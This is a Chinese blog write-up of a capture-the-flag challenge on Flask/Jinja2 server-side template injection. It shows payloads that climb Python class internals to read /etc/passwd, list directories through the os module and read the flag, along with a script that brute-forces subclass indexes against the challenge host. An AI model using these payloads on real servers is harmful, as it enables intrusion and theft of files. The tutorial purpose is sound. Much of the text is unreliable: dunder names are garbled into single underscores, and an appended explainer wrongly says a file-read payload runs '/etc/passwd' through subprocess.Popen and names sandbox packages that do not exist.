攻防世界-Web_python_template_injection题

flask基础


SSTI:服务器端模板注入(Server-Side Template Injection)

不正确的使用flask中的render_template_string方法会引发SSTI。

SSTI文件读取/命令执行


在Jinja2模板引擎中,{{}}是变量包裹标识符。{{}}并不仅仅可以传递变量,还可以执行一些简单的表达式。

思路:找到父类<type 'object'>–>寻找子类–>找关于命令执行或者文件操作的模块。

_class_ 返回类型所属的对象

_mro_ 返回一个包含对象所继承的基类元组,方法在解析时按照元组的顺序解析。

_base_ 返回该对象所继承的基类

_base_ 和 _mro_ 都是用来寻找基类的_

_subclasses_ 每个新类都保留了子类的引用,这个方法返回一个类中仍然可用的的引用的列表

_init_ 类的初始化方法

_globals_ 对包含函数全局变量的字典的引用

1、查找字符串的类对象

>>>[]._class_

image-20211117202306012

2、寻找基类

>>>[]._class_._mro_

image-20211117202422640

3、寻找可用引用

>>>[]._class_._mro_._subclasses_()

image-20211117202556249

4、利用可用引用

>>>[]._class_._mro_._subclasses_()[40]("/etc/passwd").read()

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-SHIyw5jH-1637203939287)(https://i.loli.net/2021/11/18/lwLd9IxK2Xo18Ym.png)]

搜索os模块所在的类,并利用os模块
搜索os模块的脚本:

import requests
for i in range(0, 100):
    url = "http://111.200.241.244:50349/%7B%7B''.__class__.__mro__[2].__subclasses__()["+str(i)+"].__init__.__globals__%7D%7D"
    html = requests.get(url)
    html.encoding = 'utf-8'
    if 'os' in html.text:
        print('os:' + str(i))
        break
    else:
        print(str(i) + '---')


>>>{{[]._class_._mro_[1]._subclasses_()[71]._init_._globals_[“os”].listdir(".")}}/?

image-20211118104537082

查看fl4g文件

>>>{{[]._class_._mro_[1]._subclasses_()[40](“fl4g”).read()

image-20211118104953636

成功获得flag! ctf{f22b6844-5169-4054-b2a0-d95b9361cb57}

参考文章:从零学习flask模板注入 - FreeBuf网络安全行业门户

  • 2
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论
Web Python Template Injection 是一种常见的 Web 漏洞类型,通常缩写为 SSTI(Server Side Template Injection)。该漏洞是由于 Web 应用程序未正确处理用户输入导致的,攻击者可以通过构造恶意输入来执行任意代码或获取敏感信息。 Python 作为一种流行的 Web 开发语言,广泛应用于 Web 应用程序中。Python Web 框架(如 Flask、Django 等)通常使用模板引擎来生成动态内容。在模板引擎中,可以使用变量、表达式、条件语句、循环语句等功能来生成动态内容。然而,如果在模板引擎中直接使用用户输入作为变量或表达式的一部分,而没有对用户输入进行适当的验证和过滤,就可能导致模板注入漏洞。 例如,在 Flask 应用程序中,可以使用 Jinja2 模板引擎来生成动态内容。如果在模板中使用了用户输入的变量,攻击者可以构造恶意输入来执行任意代码。例如,以下代码中的 name 变量可能是用户输入的: ```python from flask import Flask, render_template, request app = Flask(__name__) @app.route('/') def index(): name = request.args.get('name', '') return render_template('index.html', name=name) if __name__ == '__main__': app.run(debug=True) ``` 在 index.html 中,可以使用 {{ name }} 来显示用户输入的 name 变量。如果攻击者在 name 中注入了模板代码,就可能导致模板注入漏洞。例如,攻击者可以构造如下的输入: ``` {{ ''.__class__.__mro__[1].__subclasses__()[414]('/etc/passwd').read() }} ``` 这段代码在模板引擎中会被解释为调用 Python 的 subprocess.Popen 函数执行命令 /etc/passwd,并读取其输出。攻击者可以通过这种方式执行任意代码,获取敏感信息或者直接控制服务器。 为了防止 SSTI 漏洞,开发人员应该对用户输入进行严格的验证和过滤,避免在模板引擎中直接使用用户输入作为变量或表达式的一部分。可以使用 Python安全模板引擎(如 jinja2-sandbox、jinja2-timeout 等)来限制模板执行的权限,或者使用模板引擎提供的安全过滤器(如 escape、safe 等)来过滤用户输入。此外,还应该及时更新 Web 应用程序和相关组件,以避免已知的漏洞攻击。

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

学编程的小w

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值